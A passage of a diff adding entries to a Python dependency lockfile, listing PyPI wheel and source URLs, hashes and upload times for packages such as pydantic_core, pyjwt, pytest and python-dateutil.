+    { url = "https://files.pythonhosted.org/packages/18/50/7ed4a8a0d478a4dca8f0134a5efa7193f03cc8520dd4c9509339fb2e5002/pydantic_core-2.46.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8641c8d535c2d95b45c2e19b646ecd23ebba35d461e0ae48a3498277006250ab", size = 2051832, upload-time = "2026-04-17T09:12:49.771Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/16/bb35b193741c0298ddc5f5e4234269efdc0c65e2bcd198aa0de9b68845e4/pydantic_core-2.46.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:20fb194788a0a50993e87013e693494ba183a2af5b44e99cf060bbae10912b11", size = 2233127, upload-time = "2026-04-17T09:11:04.449Z" },
+    { url = "https://files.pythonhosted.org/packages/91/a5/98f4b637149185addea19e1785ea20c373cca31b202f589111d8209d9873/pydantic_core-2.46.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9262d11d0cd11ee3303a95156939402bed6cedfe5ed0e331b95a283a4da6eb8b", size = 2297418, upload-time = "2026-04-17T09:11:25.929Z" },
+    { url = "https://files.pythonhosted.org/packages/36/90/93a5d21990b152da7b7507b7fddb0b935f6a0984d57ac3ec45a6e17777a2/pydantic_core-2.46.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac204542736aa295fa25f713b7fad6fc50b46ab7764d16087575c85f085174f3", size = 2093735, upload-time = "2026-04-17T09:12:06.908Z" },
+    { url = "https://files.pythonhosted.org/packages/14/22/b8b1ffdddf08b4e84380bcb67f41dbbf4c171377c1d36fc6290794bb2094/pydantic_core-2.46.2-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:9a7c43a0584742dface3ca0daf6f719d46c1ac2f87cf080050f9ae052c75e1b2", size = 2127570, upload-time = "2026-04-17T09:11:53.906Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/26/e60d72b4e2d0ce1fa811044a974412ac1c567fe067d97b3e6b290530786e/pydantic_core-2.46.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fd05e1edb6a90ad446fa268ab09e59202766b837597b714b2492db11ee87fab9", size = 2183524, upload-time = "2026-04-17T09:11:30.092Z" },
+    { url = "https://files.pythonhosted.org/packages/35/32/36bec7584a1eefb17dec4dfa1c946d3fe4440f466c5705b8adfda69c9a9f/pydantic_core-2.46.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:91155b110788b5501abc7ea954f1d08606219e4e28e3c73a94124307c06efb80", size = 2185408, upload-time = "2026-04-17T09:10:57.228Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/d6/1a5689d873620efd67d6b163db0c444c056adb0849b5bc33e2b9f09665a6/pydantic_core-2.46.2-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:e4e2c72a529fa03ff228be1d2b76944013f428220b764e03cc50ada67e17a42c", size = 2335171, upload-time = "2026-04-17T09:11:43.369Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/8e/675104802abe8ef502b072050ee5f2e915251aa1a3af87e1015ce31ec42d/pydantic_core-2.46.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:56291ec1a11c3499890c99a8fd9053b47e60fe837a77ec72c0671b1b8b3dce24", size = 2362743, upload-time = "2026-04-17T09:10:18.333Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/bc/86c5dde4fa6e24467680eef5047da3c1a19be0a527d0d8e14aa76b39307c/pydantic_core-2.46.2-cp313-cp313-win32.whl", hash = "sha256:b50f9c5f826ddca1246f055148df939f5f3f2d0d96db73de28e2233f22210d4c", size = 1958074, upload-time = "2026-04-17T09:12:38.622Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/97/2537e8c1282b2c4eb062580c0d7a4339e10b072b803d1ee0b7f1f0a5c22c/pydantic_core-2.46.2-cp313-cp313-win_amd64.whl", hash = "sha256:251a57788823230ca8cbc99e6245d1a2ed6e180ec4864f251c94182c580c7f2e", size = 2071741, upload-time = "2026-04-17T09:13:32.405Z" },
+    { url = "https://files.pythonhosted.org/packages/da/aa/2ee75798706f9dbc4e76dbe59e41a396c5c311e3d6223b9cf6a5fa7780be/pydantic_core-2.46.2-cp313-cp313-win_arm64.whl", hash = "sha256:315d32d1a71494d6b4e1e14a9fa7a4329597b4c4340088ad7e1a9dafbeed92a9", size = 2025955, upload-time = "2026-04-17T09:10:15.567Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/96/a50ccb6b539ae780f73cea74905468777680e30c6c3bdf714b9d4c116ea0/pydantic_core-2.46.2-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:4f59b45f3ef8650c0c736a57f59031d47ed9df4c0a64e83796849d7d14863a2d", size = 2097111, upload-time = "2026-04-17T09:10:49.617Z" },
+    { url = "https://files.pythonhosted.org/packages/34/5f/fdead7b3afa822ab6e5a18ee0ecffd54937de1877c01ed13a342e0fb3f07/pydantic_core-2.46.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:3a075a29ebef752784a91532a1a85be6b234ccffec0a9d7978a92696387c3da6", size = 1951904, upload-time = "2026-04-17T09:12:32.062Z" },
+    { url = "https://files.pythonhosted.org/packages/95/e0/1c5d547e550cdab1bec737492aa08865337af6fe7fc9b96f7f45f17d9519/pydantic_core-2.46.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d12d786e30c04a9d307c5d7080bf720d9bac7f1668191d8e37633a9562749e2", size = 1978667, upload-time = "2026-04-17T09:11:35.589Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/cb/665ce629e218c8228302cb94beff4f6531082a2c87d3ecc3d5e63a26f392/pydantic_core-2.46.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0d5e6d6343b0b5dcacb3503b5de90022968da8ed0ab9ab39d3eda71c20cbf84e", size = 2046721, upload-time = "2026-04-17T09:11:47.725Z" },
+    { url = "https://files.pythonhosted.org/packages/77/e9/6cb2cf60f54c1472bbdfce19d957553b43dbba79d1d7b2930a195c594785/pydantic_core-2.46.2-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:233eebac0999b6b9ba76eb56f3ec8fce13164aa16b6d2225a36a79e0f95b5973", size = 2228483, upload-time = "2026-04-17T09:12:08.837Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/2a/93e018dd5571f781ebaeda8c0cf65398489d5bee9b1f484df0b6149b43b9/pydantic_core-2.46.2-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9cc0eee720dd2f14f3b7c349469402b99ad81a174ab49d3533974529e9d93992", size = 2294663, upload-time = "2026-04-17T09:12:52.053Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/4f/49e57ca55c770c93d9bb046666a54949b42e3c9099a0c5fe94557873fe30/pydantic_core-2.46.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83ee76bf2c9910513dbc19e7d82367131fa7508dedd6186a462393071cc11059", size = 2098742, upload-time = "2026-04-17T09:13:45.472Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/b0/6e46b5cd3332af665f794b8cdeea206618a8630bd9e7bcc36864518fce81/pydantic_core-2.46.2-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:d61db38eb4ee5192f0c261b7f2d38e420b554df8912245e3546aee5c45e2fd78", size = 2125922, upload-time = "2026-04-17T09:12:54.304Z" },
+    { url = "https://files.pythonhosted.org/packages/06/d1/40850c81585be443a2abfdf7f795f8fae831baf8e2f9b2133c8246ac671c/pydantic_core-2.46.2-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8f09a713d17bcd55da8ab02ebd9110c5246a49c44182af213b5212800af8bc83", size = 2183000, upload-time = "2026-04-17T09:10:59.027Z" },
+    { url = "https://files.pythonhosted.org/packages/04/af/8493d7dfa03ebb7866909e577c6aa65ea0de7377b86023cc51d0c8e11db3/pydantic_core-2.46.2-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:30cacc5fb696e64b8ef6fd31d9549d394dd7d52760db072eecb98e37e3af1677", size = 2180335, upload-time = "2026-04-17T09:12:57.01Z" },
+    { url = "https://files.pythonhosted.org/packages/72/5b/1f6a344c4ffdf284da41c6067b82d5ebcbd11ce1b515ae4b662d4adb6f61/pydantic_core-2.46.2-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:7ccfb105fcfe91a22bbb5563ad3dc124bc1aa75bfd2e53a780ab05f78cdf6108", size = 2330002, upload-time = "2026-04-17T09:12:02.958Z" },
+    { url = "https://files.pythonhosted.org/packages/25/ff/9a694126c12d6d2f48a0cafa6f8eef88ef0d8825600e18d03ff2e896c3b2/pydantic_core-2.46.2-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:13ffef637dc8370c249e5b26bd18e9a80a4fca3d809618c44e18ec834a7ca7a8", size = 2359920, upload-time = "2026-04-17T09:10:27.764Z" },
+    { url = "https://files.pythonhosted.org/packages/51/c8/3a35c763d68a9cb2675eb10ef242cf66c5d4701b28ae12e688d67d2c180e/pydantic_core-2.46.2-cp314-cp314-win32.whl", hash = "sha256:1b0ab6d756ca2704a938e6c31b53f290c2f9c10d3914235410302a149de1a83e", size = 1953701, upload-time = "2026-04-17T09:13:30.021Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/6a/f2726a780365f7dfd89d62036f984f7acb99978c60c5e1fa7c0cb898ed11/pydantic_core-2.46.2-cp314-cp314-win_amd64.whl", hash = "sha256:99ebade8c9ada4df975372d8dd25883daa0e379a05f1cd0c99aa0c04368d01a6", size = 2071867, upload-time = "2026-04-17T09:10:39.205Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/79/76baacb9feba3d7c399b245ca1a29c74ea0db04ea693811374827eec2290/pydantic_core-2.46.2-cp314-cp314-win_arm64.whl", hash = "sha256:de87422197cf7f83db91d89c86a21660d749b3cd76cd8a45d115b8e675670f02", size = 2017252, upload-time = "2026-04-17T09:10:26.175Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/3b/77c26938f817668d9ad9bab1a905cb23f11d9a3d4bf724d429b3e55a8eaf/pydantic_core-2.46.2-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:236f22b4a206b5b61db955396b7cf9e2e1ff77f372efe9570128ccfcd6a525eb", size = 2094545, upload-time = "2026-04-17T09:12:19.339Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/de/42c13f590e3c260966aa49bcdb1674774f975467c49abd51191e502bea28/pydantic_core-2.46.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c2012f64d2cd7cca50f49f22445aa5a88691ac2b4498ee0a9a977f8ca4f7289f", size = 1933953, upload-time = "2026-04-17T09:09:55.889Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/84/ebe3ebb3e2d8db656937cfa6f97f544cb7132f2307a4a7dfdcd0ea102a12/pydantic_core-2.46.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d07d6c63106d3a9c9a333e2636f9c82c703b1a9e3b079299e58747964e4fdb72", size = 1974435, upload-time = "2026-04-17T09:10:12.371Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/15/0bf51ca6709477cd4ef86148b6d7844f3308f029eac361dd0383f1e17b1a/pydantic_core-2.46.2-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c326a2b4b85e959d9a1fc3a11f32f84611b6ec07c053e1828a860edf8d068208", size = 2031113, upload-time = "2026-04-17T09:10:00.752Z" },
+    { url = "https://files.pythonhosted.org/packages/02/ae/b7b5af9b79db036d9e61a44c481c17a213dc8fc4b8b71fe6875a72fc778b/pydantic_core-2.46.2-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac8a65e798f2462552c00d2e013d532c94d646729dda98458beaf51f9ec7b120", size = 2236325, upload-time = "2026-04-17T09:10:33.227Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/ae/ecef7477b5a03d4a499708f7e75d2836452ebb70b776c2d64612b334f57a/pydantic_core-2.46.2-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5a3c2bc1cc8164bedbc160b7bb1e8cc1e8b9c27f69ae4f9ae2b976cdae02b2dd", size = 2278135, upload-time = "2026-04-17T09:10:23.287Z" },
+    { url = "https://files.pythonhosted.org/packages/db/e4/2f9d82faa47af6c39fc3f120145fd915971e1e0cb6b55b494fad9fdf8275/pydantic_core-2.46.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e69aa5e10b7e8b1bb4a6888650fd12fcbf11d396ca11d4a44de1450875702830", size = 2109071, upload-time = "2026-04-17T09:11:06.149Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/9c/677cf10873fbd0b116575ab7b97c90482b21564f8a8040beb18edef7a577/pydantic_core-2.46.2-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:4e6df5c3301e65fb42bc5338bf9a1027a02b0a31dc7f54c33775229af474daf0", size = 2106028, upload-time = "2026-04-17T09:10:51.525Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/53/6a06183544daba51c059123a2064a99039df25f115a06bdb26f2ea177038/pydantic_core-2.46.2-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2c2f6e32548ac8d559b47944effcf8ae4d81c161f6b6c885edc53bc08b8f192d", size = 2164816, upload-time = "2026-04-17T09:11:56.187Z" },
+    { url = "https://files.pythonhosted.org/packages/57/6f/10fcdd9e3eca66fc828eef0f6f5850f2dd3bca2c59e6e041fb8bc3da39be/pydantic_core-2.46.2-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:b089a81c58e6ea0485562bbbbbca4f65c0549521606d5ef27fba217aac9b665a", size = 2166130, upload-time = "2026-04-17T09:10:03.804Z" },
+    { url = "https://files.pythonhosted.org/packages/29/83/92d3fd0e0156cad2e3cb5c26de73794af78ac9fa0c22ab666e566dd67061/pydantic_core-2.46.2-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:7f700a6d6f64112ae9193709b84303bbab84424ad4b47d0253301aabce9dfc70", size = 2316605, upload-time = "2026-04-17T09:12:45.249Z" },
+    { url = "https://files.pythonhosted.org/packages/97/f1/facffdb970981068219582e499b8d0871ed163ffcc6b347de5c412669e4c/pydantic_core-2.46.2-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:67db6814beaa5fefe91101ec7eb9efda613795767be96f7cf58b1ca8c9ca9972", size = 2358385, upload-time = "2026-04-17T09:09:54.657Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/a1/b8160b2f22b2199467bc68581a4ed380643c16b348a27d6165c6c242d694/pydantic_core-2.46.2-cp314-cp314t-win32.whl", hash = "sha256:32fbc7447be8e3be99bf7869f7066308f16be55b61f9882c2cefc7931f5c7664", size = 1942373, upload-time = "2026-04-17T09:12:59.594Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/90/db89acabe5b150e11d1b59fe3d947dda2ef6abbfef5c82f056ff63802f5d/pydantic_core-2.46.2-cp314-cp314t-win_amd64.whl", hash = "sha256:b317a2b97019c0b95ce99f4f901ae383f40132da6706cdf1731066a73394c25c", size = 2052078, upload-time = "2026-04-17T09:10:19.96Z" },
+    { url = "https://files.pythonhosted.org/packages/97/32/e19b83ceb07a3f1bb21798407790bbc9a31740158fd132b94139cb84e16c/pydantic_core-2.46.2-cp314-cp314t-win_arm64.whl", hash = "sha256:7dcb9d40930dfad7ab6b20bcc6ca9d2b030b0f347a0cd9909b54bd53ead521b1", size = 2016941, upload-time = "2026-04-17T09:12:34.447Z" },
+    { url = "https://files.pythonhosted.org/packages/25/ec/e91aa08df1c33d5e3c2b60c07a1eca9f21809728a824c7b467bb3bda68b5/pydantic_core-2.46.2-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:7c5a5b3dbb9e8918e223be6580da5ffcf861c0505bbc196ebed7176ce05b7b4e", size = 2105046, upload-time = "2026-04-17T09:10:55.614Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/73/27112400a0452e375290e7c40aef5cc9844ac0920fb1029238cfc68121fa/pydantic_core-2.46.2-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:bc1e8ce33d5a337f2ba862e0719b8201cd54aaed967406c748e009191d47efdd", size = 1940029, upload-time = "2026-04-17T09:12:21.5Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/44/3d39f782bc82ddd0b2d82bde83b408aa40a332cdf6f3018acb34e3d4dcfc/pydantic_core-2.46.2-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b737c0b280f41143266445de2689c0e49c79307e51c44ce3a77fef2bedad4994", size = 1987772, upload-time = "2026-04-17T09:10:02.357Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/1a/0242e5b7b6cf51dbccc065029f0420107b6bf7e191fcb918f5cb71218acf/pydantic_core-2.46.2-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1b877d597afb82b4898e35354bba55de6f7f048421ae0edadbb9886ec137b532", size = 2138468, upload-time = "2026-04-17T09:11:51.546Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/d2/66c146f421178641bda880b0267c0d57dd84f5fec9ecc8e46be17b480742/pydantic_core-2.46.2-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:e9fcabd1857492b5bf16f90258babde50f618f55d046b1309972da2396321ff9", size = 2091621, upload-time = "2026-04-17T09:12:47.501Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/b2/c28419aa9fc8055f4ac8e801d1d11c6357351bfa4321ed9bafab3eb98087/pydantic_core-2.46.2-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:fb3ec2c7f54c07b30d89983ce78dc32c37dd06a972448b8716d609493802d628", size = 1937059, upload-time = "2026-04-17T09:10:53.554Z" },
+    { url = "https://files.pythonhosted.org/packages/30/ce/cd0824a2db213dc17113291b7a09b9b0ccd9fbf97daa4b81548703341baf/pydantic_core-2.46.2-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:130a6c837d819ef33e8c2bf702ed2c3429237ea69807f1140943d6f4bdaf52fa", size = 1997278, upload-time = "2026-04-17T09:12:23.784Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/69/47283fe3c0c967d3e9e9cd6c42b70907610c8a6f8d6e8381f1bb55f8006c/pydantic_core-2.46.2-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c2e25417cec5cd9bddb151e33cb08c50160f317479ecc02b22a95ec18f8fe004", size = 2147096, upload-time = "2026-04-17T09:12:43.124Z" },
+    { url = "https://files.pythonhosted.org/packages/16/d5/dec7c127fa722ff56e1ccf1e960ae1318a9f66742135e97bf9771447216f/pydantic_core-2.46.2-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c3ad79ed32004d9de91cacd4b5faaff44d56051392fe1d5526feda596f01af25", size = 2107613, upload-time = "2026-04-17T09:10:36.269Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/35/975c109b337260a71c93198baf663982b6b39fe3e584e279548a0969e5d4/pydantic_core-2.46.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d157c48d28eebe5d46906de06a6a2f2c9e00b67d3e42de1f1b9c2d42b810f77c", size = 1947099, upload-time = "2026-04-17T09:12:15.304Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/11/52a971a0f9218631690274be533f05e5ddde5547f0823bb3e9dfd1be49f6/pydantic_core-2.46.2-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7b42c6471288dedc979ac8400d9c9770f03967dd187db1f8d3405d4d182cc714", size = 2133866, upload-time = "2026-04-17T09:12:27.994Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/7a/33d94d0698602b2d1712e78c703a33952eb2ca69e02e8e4b208e7f6602b5/pydantic_core-2.46.2-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4f27bc4801358dc070d6697b41237fce9923d8e69a1ce1e95606ac36c1552dc1", size = 2161721, upload-time = "2026-04-17T09:11:16.111Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/cb/0df7ee0a148e9ce0968a80787967ddca9f6b3f8a49152a881b88da262701/pydantic_core-2.46.2-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:e094a8f85db41aa7f6a45c5dac2950afc9862e66832934231962252b5d284eed", size = 2180175, upload-time = "2026-04-17T09:11:41.577Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/a8/258a32878140347532be4e44c6f3b1ace3b52b9c9ca7548a65ce18adf4b4/pydantic_core-2.46.2-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:807eeda5551f6884d3b4421578be37be50ddb7a58832348e99617a6714a73748", size = 2319882, upload-time = "2026-04-17T09:10:21.872Z" },
+    { url = "https://files.pythonhosted.org/packages/13/b9/5071c298a0f91314a5402b8c56e0efbcebe77085327d0b4df7dc9cb0b674/pydantic_core-2.46.2-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:fcaa1c3c846a7f6686b38fe493d1b2e8007380e293bfef6a9354563c026cbf36", size = 2348065, upload-time = "2026-04-17T09:11:08.263Z" },
+    { url = "https://files.pythonhosted.org/packages/75/f3/0a7087e5f861d66ca64ce927230b397cc264c87b712156e6a93b26a459c8/pydantic_core-2.46.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:154dbfdfb11b8cbd8ff4d00d0b81e3d19f4cb4bedd5aa9f091060ba071474c6a", size = 2192159, upload-time = "2026-04-17T09:11:20.123Z" },
+]
+
+[[package]]
+name = "pygments"
+version = "2.20.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
+]
+
+[[package]]
+name = "pyjwt"
+version = "2.13.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/3b/81/58d0ac84e1ef3a3843791d6954d94c0b33d526c75eeb1efbce9d0a4c4077/pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423", size = 107515, upload-time = "2026-05-21T19:54:36.618Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", size = 31274, upload-time = "2026-05-21T19:54:35.362Z" },
+]
+
+[[package]]
+name = "pyproject-hooks"
+version = "1.2.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e7/82/28175b2414effca1cdac8dc99f76d660e7a4fb0ceefa4b4ab8f5f6742925/pyproject_hooks-1.2.0.tar.gz", hash = "sha256:1e859bd5c40fae9448642dd871adf459e5e2084186e8d2c2a79a824c970da1f8", size = 19228, upload-time = "2024-09-29T09:24:13.293Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/bd/24/12818598c362d7f300f18e74db45963dbcb85150324092410c8b49405e42/pyproject_hooks-1.2.0-py3-none-any.whl", hash = "sha256:9e5c6bfa8dcc30091c74b0cf803c81fdd29d94f01992a7707bc97babb1141913", size = 10216, upload-time = "2024-09-29T09:24:11.978Z" },
+]
+
+[[package]]
+name = "pytest"
+version = "9.1.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "colorama", marker = "sys_platform == 'win32'" },
+    { name = "exceptiongroup", marker = "python_full_version < '3.11'" },
+    { name = "iniconfig" },
+    { name = "packaging" },
+    { name = "pluggy" },
+    { name = "pygments" },
+    { name = "tomli", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" },
+]
+
+[[package]]
+name = "pytest-asyncio"
+version = "1.4.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "backports-asyncio-runner", marker = "python_full_version < '3.11'" },
+    { name = "pytest" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = "2026-05-26T09:56:02.576Z" },
+]
+
+[[package]]
+name = "pytest-mock"
+version = "3.15.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "pytest" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/68/14/eb014d26be205d38ad5ad20d9a80f7d201472e08167f0bb4361e251084a9/pytest_mock-3.15.1.tar.gz", hash = "sha256:1849a238f6f396da19762269de72cb1814ab44416fa73a8686deac10b0d87a0f", size = 34036, upload-time = "2025-09-16T16:37:27.081Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5a/cc/06253936f4a7fa2e0f48dfe6d851d9c56df896a9ab09ac019d70b760619c/pytest_mock-3.15.1-py3-none-any.whl", hash = "sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d", size = 10095, upload-time = "2025-09-16T16:37:25.734Z" },
+]
+
+[[package]]
+name = "pytest-watch"
+version = "4.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "colorama" },
+    { name = "docopt" },
+    { name = "pytest" },
+    { name = "watchdog" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/36/47/ab65fc1d682befc318c439940f81a0de1026048479f732e84fe714cd69c0/pytest-watch-4.2.0.tar.gz", hash = "sha256:06136f03d5b361718b8d0d234042f7b2f203910d8568f63df2f866b547b3d4b9", size = 16340, upload-time = "2018-05-20T19:52:16.194Z" }
+
+[[package]]
+name = "python-dateutil"
+version = "2.9.0.post0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "six", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
+]
+
+[[package]]
+name = "python-discovery"
+version = "1.2.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "filelock" },
+    { name = "platformdirs" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/de/ef/3bae0e537cfe91e8431efcba4434463d2c5a65f5a89edd47c6cf2f03c55f/python_discovery-1.2.2.tar.gz", hash = "sha256:876e9c57139eb757cb5878cbdd9ae5379e5d96266c99ef731119e04fffe533bb", size = 58872, upload-time = "2026-04-07T17:28:49.249Z" }
+wheels = [
